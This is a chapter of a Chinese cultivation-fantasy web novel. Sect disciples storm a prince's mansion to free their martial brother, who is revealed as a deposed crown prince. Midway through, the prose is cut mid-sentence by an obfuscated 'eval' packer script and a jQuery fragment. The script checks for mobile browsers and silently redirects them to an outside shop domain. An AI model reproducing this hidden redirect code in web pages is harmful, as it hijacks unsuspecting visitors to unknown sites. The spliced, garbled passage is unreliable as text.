文趣网 > 其他小说 > 正道楷模的师兄是魔族 > 27. 记住了,我叫谢无衣
    谢无衣给几人的玉牌中都注入了自己的灵力,“这样你们无论去哪我都能够知道你们在哪。”

    几人有样学样也给各自的玉牌注入灵力。

    “记住不能对凡人使用灵力,不然会有反噬。”

    几人点了点头表示记住了。

    “大师兄我有事要出去一趟,明天一早我一定回来。”上官饶道。

    见谢无衣点了点头,他立即出了客栈。晏书想追上去却被丁情拉住了,“让他一个人静静吧。”

    “怎么回事?”

    宋熹微将玉佩没赎回来的事情和他说了。

    “我们也去了当铺,当铺的人也不知道买玉佩的人是谁,根本无从查起。”

    第二日上官饶依约回来了,心情也好了很多。

    “这魏国国都就是不一样啊。”宋熹微进了京城发现人山人海,旁边有很多商贩吆喝着。

    吃的喝的用的,应有尽有。

    “这京城的女子怎么都这么好看啊,容貌衣着都好看啊。”她看了看自己身上的衣服还是之前的。

    “人怎么这么多,怎么这么多卖花灯,是什么大日子吗?”丁情也没见过这么多人,真的是人挤人。

    “跟紧点,别走散了。”谢无衣看着人群,不少人都走散了,在那喊着名字。

    “好的。”

    “过几日便是朝瑰节,未婚男女都会在那一日去放花灯,期盼能找一个意中人。”

    宋熹微明白了,就是男女牵手成功的日子。

    晏书和上官饶走在最后面,他看向身旁的人,“你来过这里吗。”

    从进城开始就感觉他不对劲,明明还是从前那副吊儿郎当的模样,可总感觉哪里不对。

    “我们先找家客栈吧。”

    前面一阵骚动,一辆富丽堂皇的马车驶入街道,一看就知道不是皇亲国戚就是京城高官。

    本就拥挤的街道为此更是不堪负荷,百姓纷纷让路,不少人挤散了。

    “这什么人,这么多百姓还坐什么马车。”宋熹微为一见到马车就立即避让,惶恐不安的百姓愤然道。

    他们几个都没挤到角落里了。

    谢无衣忽地回头,“上官饶呢?”

    这时几人才发现少了一人。

    “刚刚还在这里啊。”刚还和上官饶走在一起的晏书道。

    他们能感觉到上官饶离他们越来越远,可人太多根本走不动。谢无衣抬头看向上方,立即飞身上了屋顶。

    人多根本没有百姓注意这边。

    四人从高处循着气息一路追到一座府邸。

    “这是什么地方?”宋熹微看着面前的高墙。

    “管他什么地方。”谢无衣直接越过高墙。

    “说的对。”

    上官饶动了动被绑的手,又看向高台上的人,“你想干什么?”

    “你当街杀人当然是以命偿命。”

    “呵,杀人?何时何地,又有何人看见。”上官饶双手被绑在身后,站在台下冷笑一声。

    “我说你杀了就是杀了。”一副你拿我怎么样的无耻模样,看了一眼身旁之人。

    一个眼神就知道该做什么。

    “看见殿下还不跪下。”

    “你也配!”上官饶直视着台上之人。

    身后两名侍卫得到示意立马上前压着上官饶让他跪下,上官饶又怎会跪下。指尖凝出灵力却在想起谢无衣的告诫时消失。

    上官饶不管身后之人如何强迫就是不跪。

    侍卫一脚踹向他的腿,上官饶忽地单膝跪倒在地。

    上官饶谨记谢无衣的话,他现在不能随意动用灵力,而在人间也不能用灵力伤人。

    “你以为你是谁,还以为你是当初的你吗,现在的你自己看看穿着什么,宫中下人都不穿,一副丧家之犬的模样。”

    忽地,他看到了跪在地上的人腰间的玉牌,而他一旁的人也看见了,惊呼,“殿下,是青云宗。”

    “你入了青云宗?”

    上官饶抬眸看向台上之人瞳孔猛缩,那人手上正拿着一枚白色玉佩,正是他之前在当铺当掉的。

    “还给我。”上官饶眼中燃烧着怒火,刚刚他就是用这枚玉佩将他带走。

    “可以啊,跪在地上学两声狗叫我就还给你。”

    话落,就听一道冷然的声音砸在头顶,“青云宗的人你也敢动。”

    下一秒就见几人从天而降。

    “你们是谁?胆敢擅闯晋王府。”一旁的侍卫瞬间都围了上来。

    “敢动我青云宗的人,你是皇上都不行,更别说只是区区一个王爷。”丁情看着对面的男人手上的东西,瞥了一眼上官饶。

    宋熹微和晏书将两个侍卫直接踹开,侍卫见几人突然出现连滚带爬的跑了。

    “上官师兄你怎么样,没事吧。”两人将他身上的绳索解开。

    上官饶见几人来了眼神亮了亮。

    “你怎么还被人绑了啊。”宋熹微不解道。

    等看到被人拿在手上的玉佩的时候几人心中了然。

    “把玉佩拿来。”

    宋熹微发现现在的谢无衣和当初在青云山的时候一样,简直一秒切换冰冻功能,一个眼神能冻死人,当然这次冻的不是她是别人。

    “来人,快来人……”

    破空之声响起,一支箭擦着脸颊而过,一根发丝直接被钉在墙上。惊吓之余手忽然松开。一柄扇子稳稳地将玉佩接住回到了上官饶手中。

    “魏子舒,你以为我在等什么,我在等人,你是在等死吗。”他朝着魏子舒而去。

    这一刻他们能感觉到和平日里一点都不一样,浑身散发着浑然天成的威仪。

    魏子舒也没想到他竟然真的入了青云宗,难怪这些年都没有他的消息。

    有人拦住上官饶,生怕他会直接杀了魏子舒,“殿下知道错了,放过他吧。”

    “元朝,你倒是一条忠心的狗,让开。”

    上官饶往前,元朝后退,“殿下,您放过他吧。”

    这里的殿下几人都能听出并不是指魏子舒,可更让人震惊的还在后面。

    元朝退无可退,直接跪在地上,“太子殿下——”

    “他真的知道错了,就饶了他这一回吧。”

    “太子?我可不是什么太子,我只不过是一个庶人。”

    元朝被人一脚踹开,“滚——”

    宋熹微睁大了眼睛,看向谢无衣,就见他没有丝毫惊讶,他早就知道了。

    魏子舒看着眼前的人,“看来你还有点自知之明,云平十二年你就被贬为了庶人。”

    “我是谁不重要,重要的是你应该庆幸我现在是青云宗的人,要不然我会直接杀了你。”

    “砰——”

    上官饶没有丝毫犹豫,一脚踹向魏子舒,直接撞上后面的墙壁,“下次可没这么简单了。”

    魏子舒也没想到他竟真的敢当着这么多人的面对他出手,惊讶之余也忘了躲闪。

    空气一时凝结。

    “魏砚辞,你给我去死。”魏子舒抽出云朝的佩剑朝上官饶刺去,一把浮云扇直接挡住了。

    魏子舒并不是花拳绣腿,可几人都没有出手的意思。

    但是如若

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615895|203469||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有人敢偷袭那就另当别论了,一旁有个侍卫一心想着立功拿起弓箭对准了上官饶。

    可惜还未靠近就被一道灵力拦截,“铮——”

    丁情发现旁边三人都看向她,她看向谢无衣,“我又没有伤人。”

    是啊,又没有伤人,当然也就没有反噬。

    当然他们几个并不是这个意思。

    “师姐,没想到你会出手。”晏书看了一眼她笑道。

    “上官师兄还有一个名字啊,不过都挺好听的。”

    谢无衣见宋熹微一副不错不错的模样。

    这一路上几人对于谢无衣和丁情的评价比较统一,他们很相似,仿佛是一面镜子,都很傲娇,表面高冷。

    但是这次下山让两人都有了些烟火气,对,就是烟火气。

    围着他们的侍卫不知看着他们几人说着话,却迟迟没有动手。

    “这身手还真不错啊。”宋熹微看着魏子舒不由感叹。

    “魏子舒并不单单是皇子,他更是一个上战杀敌的将军。你们看他的出招,招招致命。上官饶一直在躲避,他在等他露出破绽。”

    “速战速决,我们该走了。”

    闻言上官饶便发现魏子舒的破绽,再过了不到十招,魏子舒再次被上官饶一脚踹翻。

    “就算不用灵力你也打不过我,你还是这么废物。”

    魏子舒一脸不服,更多的是不甘,“凭什么你活着,却要别人替你去死。”

    上官饶转身的脚步并未停下,他以为他又在说什么疯话。

    “你活着,凭什么让我的阿瑶去死,凭什么。”魏子舒仇恨的目光看着那道背影,从小到大,这道背影对于他来说仿佛一道越不过的高山。

    人人都将他们两人相比,就连阿瑶也是如此。

    上官饶停下了脚步。

    “原来你还记得她啊,我还以为你早把她忘了呢。”

    “她成了梦寐以求的将军,却因为听到你的消息追去了,可惜却是一个圈套,她死在一个破庙,身上全是血,她因为你死了。”

    上官饶闭了闭眼,吐出四个字,“生死由命。”

    “生死由命,哈哈哈,好,好得很。”

    上官饶也不管身后的人是何模样,看见在等着自己的四人,只感觉过去那些他已经很久没有想起来了。他看向谢无衣,“大师兄,我们走吧。”

    谢无衣点了点头,可周围的人却没有要放他们离开的意思。

    元朝扶起魏子舒,见他狼狈又颜面尽失的模样,他知道他在想什么,看向几人,此时的他没有半分刚才跪地求饶的模样,“就算你们是青云宗的,擅闯晋王府,打伤晋王,你们也必须给晋王,给陛下一个交代。”

    “交代?是该给一个交代。”谢无衣笑着看向他和魏子舒,两人感觉不寒而栗。

    从一开始他们就注意到这个少年,年纪看着和他身旁几人大不了多少,但几人隐隐有以他为首的样子。

    现在看来的确是。

    宋熹微看向谢无衣,不是,还真要给啊。

    “不过却是你魏国要给我青云宗一个满意的交代,晋王殿下胁迫我青云宗弟子,不知魏国陛下能给一个什么样的交代。”

    “你……”

    元朝没想到会被反将一军。

    “我数三声,要么让他们让开,要么我不介意让你们都死在这。”这么凶神恶煞的话从谢无衣嘴中说出来仿佛在说你今天要吃什么。

    魏子舒还想阻拦,元朝拦住了他,挥了挥手,侍卫便都散开了。

    “记住了,我叫谢无衣,很快我们便会再见。”